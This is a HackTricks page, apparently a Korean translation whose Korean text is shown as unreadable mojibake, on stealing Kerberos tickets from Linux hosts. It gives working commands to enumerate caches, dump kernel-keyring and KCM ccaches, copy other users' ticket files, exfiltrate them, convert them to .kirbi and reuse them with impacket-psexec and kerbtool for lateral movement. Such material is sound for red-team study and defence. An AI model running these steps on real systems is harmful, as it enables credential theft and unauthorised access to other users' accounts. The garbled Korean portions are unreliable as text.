Harvesting Tickets from Linux
Tip
AWS ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:
HackTricks Training AWS Red Team Expert (ARTE)
GCP ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:HackTricks Training GCP Red Team Expert (GRTE)
Azure ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks ์ง์ํ๊ธฐ
- ๊ตฌ๋ ๊ณํ ํ์ธํ๊ธฐ!
- **๐ฌ ๋์ค์ฝ๋ ๊ทธ๋ฃน ๋๋ ํ ๋ ๊ทธ๋จ ๊ทธ๋ฃน์ ์ฐธ์ฌํ๊ฑฐ๋ ํธ์ํฐ ๐ฆ @hacktricks_live๋ฅผ ํ๋ก์ฐํ์ธ์.
- HackTricks ๋ฐ HackTricks Cloud ๊นํ๋ธ ๋ฆฌํฌ์งํ ๋ฆฌ์ PR์ ์ ์ถํ์ฌ ํดํน ํธ๋ฆญ์ ๊ณต์ ํ์ธ์.
Credential Storage in Linux
Linux ์์คํ
์ ์๊ฒฉ ์ฆ๋ช
์ ์ธ ๊ฐ์ง ์ ํ์ ์บ์์ ์ ์ฅํฉ๋๋ค: Files (in /tmp directory), Kernel Keyrings (a special segment in the Linux kernel), ๊ทธ๋ฆฌ๊ณ Process Memory (for single-process use). /etc/krb5.conf์ default_ccache_name ๋ณ์๋ ์ฌ์ฉ ์ค์ธ ์คํ ๋ฆฌ์ง ์ ํ์ ์๋ ค์ฃผ๋ฉฐ, ์ง์ ๋์ง ์์ผ๋ฉด ๊ธฐ๋ณธ๊ฐ์ FILE:/tmp/krb5cc_%{uid}์
๋๋ค.
MIT/Heimdal์ ๋ํ ํฌ์คํธ ์ต์คํ๋ก์ ์ค์ ์ฐพ์๋ด์ผ ํ ์ถ๊ฐ ๋ฐฑ์๋๋ฅผ ์ง์ํฉ๋๋ค:
DIR:/run/user/%{uid}/krb5ccfor directory-backed multi-ticket caches (systemd-logind default on modern distros).KEYRING:persistent:%{uid}orKEYRING:sessionto stash ccaches inside the kernel keyring (KEY_SPEC_SESSION_KEYRING,KEY_SPEC_USER_KEYRING, etc.).KCM:%{uid}when SSSDโs Kerberos Cache Manager daemon (kcm) fronts ticket storage.MEMORY:unique_idfor process-local caches created by libraries (gssproxy,sshd, etc.).
์
ธ์ ํ๋ํ ๋๋ง๋ค, ํ์ผ์ ๋ณต์ฌํ๊ธฐ ์ ์ ์ด๋ค ์บ์ ๋ฐฑ์๋๊ฐ ์ฌ์ฉ๋๋์ง ํ์ธํ๋ ค๋ฉด ๊ด์ฌ ์๋ ๋ฐ๋ชฌ (e.g. Apache, sshd, gssproxy)์ /proc/<pid>/environ์์ KRB5CCNAME์ ๋คํํ์ธ์.
Enumerating Active Caches
๊ณ ๊ฐ์น ํฐ์ผ์ ๋์น์ง ์๋๋ก ์ถ์ถ ์ ์ ์บ์๋ฅผ ์ด๊ฑฐํ์ธ์:
$ klist -l # list caches registered in the local keyring/KCM
$ klist -A # show all ticket-granting tickets in the current cache
$ sudo keyctl get_persistent @u
$ sudo keyctl show `keyctl get_persistent @u`
$ sudo ls -al /tmp/krb5cc_* /run/user/*/krb5cc*
$ sudo find /proc -maxdepth 2 -name environ -exec sh -c 'tr "\0" "\n" < {} | grep -H KRB5' \;
The combination of klist, keyctl, and /proc inspection quickly reveals whether credentials live in files, keyrings, or KCM so you can pick the right dumping technique.
์๊ฒฉ ์ฆ๋ช ์ถ์ถ
The 2017 paper, Kerberos Credential Thievery (GNU/Linux), outlines methods for extracting credentials from keyrings and processes, emphasizing the Linux kernelโs keyring mechanism for managing and storing keys.
Keyring ์ถ์ถ ๊ฐ์
์ปค๋ ๋ฒ์ 2.6.10์์ ๋์
๋ keyctl system call์ ์ฌ์ฉ์ ๊ณต๊ฐ ์ ํ๋ฆฌ์ผ์ด์
์ด kernel keyrings์ ์ํธ์์ฉํ ์ ์๊ฒ ํด์ค๋ค. keyrings์ ์ ์ฅ๋ ์๊ฒฉ์ฆ๋ช
์ ์ปดํฌ๋ํธ(๊ธฐ๋ณธ principal ๋ฐ credentials)๋ก ์ ์ฅ๋๋ฉฐ, ํค๋๋ฅผ ํฌํจํ๋ ํ์ผ ccaches์๋ ๋ค๋ฅด๋ค. ๋
ผ๋ฌธ์ hercules.sh script๋ ์ด๋ฌํ ์ปดํฌ๋ํธ๋ค์ ์ถ์ถํ๊ณ ์ฌ๊ตฌ์ฑํ์ฌ ์ฌ์ฉ ๊ฐ๋ฅํ ํ์ผ ccache๋ก ๋ง๋๋ ๋ฐฉ๋ฒ์ ๋ณด์ฌ์ค๋ค. keyring์ ์ ์ฅ๋ ccaches๋ ๋ก๊ทธ์ธ ๊ฐ ์ง์๋๋ KEYRING:persistent:%{uid}, ๋ก๊ทธ์์ ์ ์ญ์ ๋๋ KEYRING:session, ๋๋ ํฌํผ ์ค๋ ๋๋ฅผ ์์ฑํ๋ ์๋น์ค์ ๊ฒฝ์ฐ KEY_SPEC_THREAD_KEYRING ๋ฑ์ ์กด์ฌํ ์ ์์ผ๋, ์์๋ UID์ ๋ํด ๋ชจ๋ keyring ์ ํ์ ํญ์ ์ด๊ฑฐํ๋ผ.
Manual KEYRING ์ํฌํ๋ก์ฐ
You can manually harvest tickets without helper scripts whenever default_ccache_name is set to KEYRING::
$ KRING=$(keyctl get_persistent @u)
$ keyctl show $KRING # note the key serial of each ccache blob
$ keyctl pipe <serial> > /tmp/ccache_dump # write raw blob to disk
$ KRB5CCNAME=/tmp/ccache_dump klist # validate the stolen cache
์ฌ๋ฌ principals์ด ์ ์ฅ๋์ด ์์ผ๋ฉด, ์๋ฆฌ์ผ๋ณ๋ก keyctl pipe ๋จ๊ณ๋ฅผ ๋ฐ๋ณตํ ๋ค์, ์ถ์ถํ ccache๋ฅผ kerbtool(์๋ ์ฐธ์กฐ) ๋๋ ticketConverter.py ๊ฐ์ ๋๊ตฌ๋ฅผ ์ฌ์ฉํด Windows์ ํธํ๋๋ .kirbi/.ccache๋ก ๋ณํํ ๋ค ๋ค๋ฅธ ๋จธ์ ์์ ์ฌ์ฌ์ฉํ์ญ์์ค.
File/DIR Cache Theft Quick Wins
์๊ฒฉ ์ฆ๋ช
์ด FILE: ๋๋ DIR: ์บ์์ ์ ์ฅ๋์ด ์์ ๋๋, ์ผ๋ฐ์ ์ผ๋ก ๊ฐ๋จํ ํ์ผ ์์
๋ง์ผ๋ก ์ถฉ๋ถํฉ๋๋ค:
$ sudo cp /tmp/krb5cc_1000 /tmp/websvc.ccache
$ sudo cp -r /run/user/1000/krb5cc /tmp/user1000_dircc
$ chmod 600 /tmp/*.ccache && chown attacker /tmp/*.ccache
Directory caches contain one file per service ticket, so compress and exfiltrate the whole directory to keep TGT + TGS pairs intact. You can also point your tooling at the directory directly: KRB5CCNAME=DIR:/tmp/user1000_dircc impacket-psexec ....
Dumping KCM-Managed Caches
SSSD์ Kerberos Cache Manager (kcm)๋ /var/run/kcm/kcmsock (๋๋ /run/.heim_org.h5l.kcm-socket)์ ํตํด ์๊ฒฉ ์ฆ๋ช
์ ์ฅ์ ํ๋ก์ํ๊ณ , ์ํธํ๋ ๋ธ๋กญ์ .secrets.mkey์ ํจ๊ป /var/lib/sss/secrets/ ์์ ์ง์์ ์ผ๋ก ์ ์ฅํฉ๋๋ค. ๊ณต๊ฒฉ ์์:
/etc/krb5.conf(default_ccache_name = KCM:) ๋๋klist -l์ถ๋ ฅ๋ฌผ์ ํตํด KCM ์ฌ์ฉ์ ์๋ณํฉ๋๋ค.- UID 0์ด๊ฑฐ๋
kcmSELinux ๋๋ฉ์ธ์ ์ํด ์๋ค๋ฉด, ๊ด๋ฆฌ ๋๊ตฌ๋ฅผ ํตํด ์บ์๋ฅผ ์ด๊ฑฐํฉ๋๋ค:
$ sudo kcm_ctl list # lists UID + cache IDs handled by kcm
$ sudo kcm_ctl get 1000 0 > /tmp/1000.kcm.ccache
$ KRB5CCNAME=/tmp/1000.kcm.ccache klist
- Offline approach: copy
/var/lib/sss/secrets/secrets.ldbplus/var/lib/sss/secrets/.secrets.mkey, then runSSSDKCMExtractor(or similar PoCs) to decrypt and reassemble ccaches without touching the live socket. This is especially useful in forensics or when socket ACLs block you but disk access is possible.
kcm ๋ฐ๋ชฌ์ด SSSD์ ์ํด ๊ฐ์ ๋๋ UID ๊ธฐ๋ฐ ACL์ ์ค์ํ๊ธฐ ๋๋ฌธ์, ์ผ๋ฐ์ ์ผ๋ก root๋ก์ ๊ถํ ์์น(๋๋ sssd_kcm ์์)์ด ํ์ํ์ง๋ง, ์ผ๋จ ๋ฌ์ฑํ๋ฉด ๋ชจ๋ ์ฌ์ฉ์์ TGT๋ฅผ ๋ช ์ด ์์ ๋คํํ ์ ์์ต๋๋ค.
Ticket Extraction Tooling
์ ๋จ๊ณ๋ฅผ ์๋ํํ๋ฉด ์ค์๋ฅผ ์ค์ด๊ณ Windows ๋๊ตฌ์์ ์ฌ์ํ ์ ์๋ ํฌ๋ก์ค ํ๋ซํผ ํฐ์ผ ์๋ฃ๋ฅผ ์ป์ ์ ์์ต๋๋ค.
Tickey
Building on the principles of the hercules.sh script, the tickey tool is specifically designed for extracting tickets from keyrings, executed via /tmp/tickey -i. It enumerates kernel keyrings, reconstructs the serialized ccaches, and writes MIT-compatible cache files you can immediately feed to klist, impacket-*, or kerberoast tooling.
Kerbtool
kerbtool is a modern Go utility that runs natively on Linux and can parse, convert, and request Kerberos tickets. Two handy use cases when harvesting from Linux boxes:
# Convert a stolen MIT ccache into a .kirbi usable by Windows tooling
$ ./kerbtool --convert --in /tmp/websvc.ccache --out websvc.kirbi
# Use an extracted cache to request additional TGS tickets without touching the victim again
$ KRB5CCNAME=/tmp/websvc.ccache ./kerbtool --ask --spn cifs/fileserver.lab.local
implant host์ tickey์ kerbtool์ ๋ชจ๋ ๋๋ฉด Linux, Windows ๋ฐ cross-platform Kerberos attack chains ์ฌ์ด๋ฅผ ์ํํ๊ฒ ์ด๋ํ ์ ์์ต๋๋ค.
์ฐธ๊ณ ์๋ฃ
- https://www.tarlogic.com/en/blog/how-to-attack-kerberos/
- https://docs.pagure.org/sssd.sssd/design_pages/kcm.html
- https://github.com/jfjallid/kerbtool
Tip
AWS ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:
HackTricks Training AWS Red Team Expert (ARTE)
GCP ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:HackTricks Training GCP Red Team Expert (GRTE)
Azure ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks ์ง์ํ๊ธฐ
- ๊ตฌ๋ ๊ณํ ํ์ธํ๊ธฐ!
- **๐ฌ ๋์ค์ฝ๋ ๊ทธ๋ฃน ๋๋ ํ ๋ ๊ทธ๋จ ๊ทธ๋ฃน์ ์ฐธ์ฌํ๊ฑฐ๋ ํธ์ํฐ ๐ฆ @hacktricks_live๋ฅผ ํ๋ก์ฐํ์ธ์.
- HackTricks ๋ฐ HackTricks Cloud ๊นํ๋ธ ๋ฆฌํฌ์งํ ๋ฆฌ์ PR์ ์ ์ถํ์ฌ ํดํน ํธ๋ฆญ์ ๊ณต์ ํ์ธ์.


